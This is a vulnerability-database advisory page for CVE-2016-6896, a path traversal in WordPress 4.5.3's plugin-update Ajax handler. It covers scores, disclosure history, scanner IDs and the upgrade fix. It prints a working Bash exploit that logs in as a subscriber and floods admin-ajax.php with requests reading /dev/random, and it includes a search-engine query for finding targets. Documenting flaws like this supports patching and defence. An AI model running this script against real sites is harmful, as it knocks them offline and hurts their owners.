WordPress 4.5.3 ajax-actions.php wp_ajax_update_plugin path traversal
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 6.8 | $0-$5k | 0.00 |
Summary
A vulnerability was found in WordPress 4.5.3 and classified as problematic. This affects the function wp_ajax_update_plugin of the file ajax-actions.php. The manipulation results in path traversal.
This vulnerability is identified as CVE-2016-6896. The attack can be executed remotely. Additionally, an exploit exists.
It is suggested to upgrade the affected component.
Details
A vulnerability was found in WordPress 4.5.3 (Content Management System). It has been classified as critical. Affected is the function wp_ajax_update_plugin of the file ajax-actions.php. The manipulation with an unknown input leads to a path traversal vulnerability. CWE is classifying the issue as CWE-22. The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. This is going to have an impact on confidentiality, and availability.
The weakness was released 08/22/2016 by Yorick Koster as Path traversal vulnerability in WordPress Core Ajax handlers as confirmed advisory (Website). The advisory is available at sumofpwn.nl. This vulnerability is traded as CVE-2016-6896 since 08/22/2016. The exploitability is told to be easy. It is possible to launch the attack remotely. A authentication is needed for exploitation. Technical details and a public exploit are known. This vulnerability is assigned to T1006 by the MITRE ATT&CK project.
A public exploit has been developed in Bash and been published immediately after the advisory. The exploit is shared for download at sumofpwn.nl. It is declared as functional. As 0-day the estimated underground price was around $5k-$25k. By approaching the search of inurl:ajax-actions.php it is possible to find vulnerable targets with Google Hacking. The vulnerability scanner Nessus provides a plugin with the ID 93111 (WordPress < 4.6 Multiple Vulnerabilities), which helps to determine the existence of the flaw in a target environment. It is assigned to the family CGI abuses and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 11825 (WordPress Prior to 4.5.3 Multiple Security Vulnerabilities). The code used by the exploit is:
#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
# login
curl --cookie-jar "$cookiejar" \
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
"$target/wp-login.php" \
>/dev/null 2>&1
# exhaust apache
for i in `seq 1 1000`
do
curl --cookie "$cookiejar" \
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
"$target/wp-admin/admin-ajax.php" \
>/dev/null 2>&1 &
done
rm "$cookiejar"Upgrading to version 4.6.0 eliminates this vulnerability. The upgrade is hosted for download at codex.wordpress.org. A possible mitigation has been published even before and not after the disclosure of the vulnerability.
The vulnerability is also documented in the databases at Exploit-DB (40288), Tenable (93111), SecurityFocus (BID 92572†) and SecurityTracker (ID 1036683†). Further details are available at seclists.org. Entries connected to this vulnerability are available at VDB-88099, VDB-88103, VDB-90907 and VDB-95467. If you want to get best quality of vulnerability data, you may have to visit VulDB.
Product
Type
Name
Version
License
Website
- Product: https://wordpress.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 7.1VulDB Meta Temp Score: 6.8
VulDB Base Score: 7.1
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 7.1
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Path traversalCWE: CWE-22
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Functional
Programming Language: 🔍
Download: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Nessus ID: 93111
Nessus Name: WordPress < 4.6 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍
OpenVAS ID: 64581
OpenVAS Name: Fedora Update for wordpress FEDORA-2016-91bfe9ddb8
OpenVAS File: 🔍
OpenVAS Family: 🔍
Qualys ID: 🔍
Qualys Name: 🔍
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: UpgradeStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Upgrade: WordPress 4.6.0
Timeline
08/16/2016 🔍08/20/2016 🔍
08/22/2016 🔍
08/22/2016 🔍
08/22/2016 🔍
08/22/2016 🔍
08/23/2016 🔍
08/25/2016 🔍
01/18/2017 🔍
05/13/2026 🔍
Sources
Product: wordpress.comAdvisory: Path traversal vulnerability in WordPress Core Ajax handlers
Researcher: Yorick Koster
Status: Confirmed
Confirmation: 🔍
CVE: CVE-2016-6896 (🔍)
GCVE (CVE): GCVE-0-2016-6896
GCVE (VulDB): GCVE-100-90906
SecurityFocus: 92572 - WordPress CVE-2016-6897 Cross Site Request Forgery Vulnerability
SecurityTracker: 1036683
scip Labs: https://www.scip.ch/en/?labs.20161013
Misc.: 🔍
See also: 🔍
Entry
Created: 08/23/2016 11:19Updated: 05/13/2026 18:43
Changes: 08/23/2016 11:19 (83), 05/08/2019 12:58 (10), 09/14/2022 09:31 (4), 02/02/2025 15:09 (14), 05/13/2026 18:43 (1)
Complete: 🔍
Cache ID: 216::103
If you want to get best quality of vulnerability data, you may have to visit VulDB.
No comments yet. Languages: en.
Please log in to comment.